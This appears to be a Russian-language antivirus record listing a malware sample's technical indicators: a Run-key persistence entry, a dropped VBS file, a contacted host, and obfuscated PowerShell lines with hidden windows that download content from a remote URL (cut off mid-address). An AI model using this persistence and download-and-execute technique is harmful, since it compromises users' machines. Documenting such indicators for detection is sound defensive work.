Техническая информация
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'update' = '"%APPDATA%\<Имя файла>.vbs"'
- %APPDATA%\<Имя файла>.vbs
- 'th#.#arth.li':443
- DNS ASK th#.#arth.li
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit $vbs = New-Object -ComObject 'MSScriptControl.ScriptControl';$vbs.Language = 'VBScript';$text='(&(GCM *W-O*)Ne'+'t.We'+'bCl'+'ient).Dow'+'nloa'+'dSt'+'ring(''https://the.earth.li/~sgta...' (со скрытым окном)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -noexit $vbs = New-Object -ComObject 'MSScriptControl.ScriptControl';$vbs.Language = 'VBScript';$text='(&(GCM *W-O*)Ne'+'t.We'+'bCl'+'ient).Dow'+'nloa'+'dSt'+'ring(''https://the.earth.li/~sgta...